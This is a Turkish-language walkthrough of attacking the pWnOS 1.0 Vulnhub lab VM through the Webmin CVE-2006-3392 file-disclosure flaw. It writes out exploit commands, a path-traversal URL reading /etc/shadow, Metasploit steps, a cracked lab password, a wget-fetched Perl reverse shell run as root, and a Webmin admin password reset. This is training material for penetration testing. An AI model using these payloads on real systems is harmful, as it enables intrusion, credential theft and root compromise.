Yazıda kullanılan pWnOS: 1.0 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/pwnos-10,33/
Not: pWnOS: 1.0 sanal makinesi ilk açıldığında VMware tarafından tavsiye edilen “I Copied It” değil, “I Moved It” seçeneği işaretlenmelidir. Aksi halde DHCP üzerinden IP alınamayacaktır.
pWnOS: 1.0 sanal makinenin TCP 80 portunda Apache 2.2.4, TCP 10000 portunda ise MiniServ 0.0.1 hizmet vermektedir.
nmap -Pn -n –open 10.100.50.173 -p 80,10000 -sV -sC
TCP 10000 portuna web tarayıcı ile giriş yapıldığında, Webmin arayüzüne giriş için kimlik bilgisi istenen bir ekran ile karşılaşılmaktadır.
Webmin, UNIX/Linux sistemleri yönetmek için hazırlanan web tabanlı açık kaynaklı bir araçtır. Webmin ile kullanıcılar, diskler, servisler (Apache, DNS, Mysql,…), paylaşımlar vb. yönetilebilir. Bu işlemleri gerçekleştirmek için yetkili kullanıcı (“root” gibi) hakları gerektiği için varsayılan durumda Webmin hizmeti “root” kullanıcısı yetkisi ile çalışır. Webmin, varsayılan olarak TCP 10000 portundan çalışarak emirleri alır, Perl ile yazılmış modüller ile de gerekli işlemleri gerçekleştirir. HTTP yerine HTTPS üzerinden hizmet verdiği durumlarda da varsayılan olarak OpenSSL kütüphanesi kullanılır.
1) Exploit-DB Kodu ile Dosya Okuma
Kullanılan sanal makinede “Webmin Version 1.280” yüklüdür. Bu Webmin sürümünde bir takım zafiyetler bulunmaktadır.
searchsploit Webmin 1.2
CVE-2006-3392 ID’li bir zafiyet ile Webmin uygulamasını çalıştıran kullanıcı (varsayılan olarak “root”) yetkisi ile konumu bilenen dosyalar kimlik doğrulamasına gerek kalmadan okunabilmektedir. İstismar işlemi için “Webmin < 1.290 / Usermin < 1.220 – Arbitrary File Disclosure (Perl)” isimli istismar kodu kullanılabilir.
https://www.exploit-db.com/exploits/2017/
Kali üzerinde de olan bu betik kullanılarak zafiyet sömürülebilir ve bir dosya (MiniServ yapılandırma dosyasının) içeriği “root” yetkisi ile okunabilir.
cp /usr/share/exploitdb/platforms/multiple/remote/2017.pl .
perl 2017.pl
perl 2017.pl 10.100.50.173 10000 /etc/webmin/miniserv.users 0
2) URL Üzerinden Dosya Okuma
İstismar işlemi için betik yerine web tarayıcısı da kullanılabilir. 2017.pl dosyası incelendiğinde aşağıdaki iki satır dikkat çekmektedir.
…
$temp=”/..%01″ x 40;
…
my $url= “http://”. $target. “:” . $port .”/unauthenticated/”.$temp . $filename;
…
Bu satırlara göre “/unauthenticated/” ifadesinden sonra gelen “/..%01” ifadeleri ile üst dizine geçilmekte ve kimlik doğrulaması olmadan istenilen dosya okunabilmektedir.
http://10.100.50.173:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow
3) MSF file_disclosure Kodu Auxiliary Modülü ile Dosya Okuma
Zafiyetin İstismarı için MSF file_disclosure auxiliary modülü de kullanılabilir.
search webmin
use auxiliary/admin/webmin/file_disclosure
show options
Böylece “root” yetkisi ile tam yeri bilinen dosyalar okunabilir.
set RHOSTS 10.100.50.173
set RPATH /etc/sudoers
run
4) Komut Satırı Erişimi Elde Etme
Disk üzerindeki dosyaları okuma yetkisine sahip olunduktan sonra çeşitli yöntemler ile komut satırı erişimi elde edilebilir. Bu yöntemlerden bazıları aşağıdaki gibidir:
- “/etc/shadow” dosyası okunarak kaba kuvvet saldırısı ile bir kullanıcının parolası elde edilebilir. Sözlük saldırısı ile aşağıdaki bilgiler ile erişim sağlanabildiği görülmüştür.
Kullanıcı Adı: vmware
Parola: h4ckm3
- R* servislerine, VNC servisine ait bilgiler okunabilir.
- Kullanıcıların ev dizinlerinde bulunan SSH servisine ait genel anahtarlar (~/.ssh/authorized_keys) elde edildikten sonra, kaynaklardaki SiberPortal yazısında belirtildiği gibi özel anahtarlar tespit edilebilir.
- Tam konumu bilinen yapılandırma dosyaları içersinden kritik bilgiler elde edilebilir.
Standart yetkilere sahip “vmware” kullanıcısı ile oturum açıkdıltan sonra, ters bağlantı elde edilebilir. Bu amaçla Kali üzerindeki Perl betiğindeki (perl-reverse-shell.pl) IP ve Port bilgisi değiştirilerek kurban makineye indirilebilir. İndirilen bu betik Webmin tarafından çalıştırılması istendiği için “.cgi” uzantısı ile çalıştırılabilir olarak kaydedilir.
cp /usr/share/webshells/perl/perl-reverse-shell.pl .
nano perl-reverse-shell.pl
cat perl-reverse-shell.pl | grep -i “change these” -A3
python -m SimpleHTTPServer 11111wget http://10.100.50.174:11111/perl-reverse-shell.pl -O TersBaglanti.cgi
ls -la TersBaglanti.cgi
chmod +x TersBaglanti.cgi
ls -la TersBaglanti.cgi
İndirilen bu dosya, Webmin uygulamasını çalıştıran kullanıcı yetkisi ile çağırıldığında “root” yetkisi ile komut satırı erişimi elde edilebilecektir. Bu amaçla komut satırını yakalayacak olan dinleyici başlatılır.
nc -nlvp 8443
Webmin dosya ifşa zafiyeti istismarı ile “root” yetkisi ile komut satırı erişimi elde edilir.
perl 2017.pl 10.100.50.173 10000 /home/vmware/TersBaglanti.cgi 0
id
uname -a
cat /etc/*release*
5) Webmin Uygulamasının İncelenmesi
“/etc/webmin/miniserv.conf” yaplandırma dosyasının içeriğinde kimlik doğrulama başta olmak üzere birçok bilgi bulunmaktadır.
ps -ef | grep webmin | grep -v grep
cat /etc/webmin/miniserv.conf
Bu bilgilerden en önemlileri aşağıdaki gibidir.
port=10000
root=/usr/local/webmin
userfile=/etc/webmin/miniserv.users
keyfile=/etc/webmin/miniserv.pem
passwd_file=/etc/shadow
“/etc/webmin/miniserv.users” dosyasının içeriği incelendiğinde “admin” için kimlik bilgisi bulunmaktadır. Bu kimlik bilgisi sıfırlanarak Webmin arayüzünde oturum açılabilir.
cat /etc/webmin/miniserv.users
/usr/local/webmin/changepass.pl /etc/webmin admin Parola123
cat /etc/webmin/miniserv.users
Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:
- VulnOS: 1: https://www.vulnhub.com/entry/vulnos-1,60/
- Port: 10000
Kaynaklar:
https://github.com/ch33z-plz/Walkthrough/wiki/pWnOS
https://samiux.blogspot.com.tr/2011/09/howto-pwnos.html
https://naveen194.blogspot.com.tr/2016/10/vulnos-solution.html
http://paulsec.github.io/blog/2014/04/08/vulnos-write-up/
https://www.siberportal.org/red-team/linux-penetration-tests/acquiring-command-line-on-metasploitable-2-by-exploiting-openssl-vulnerability/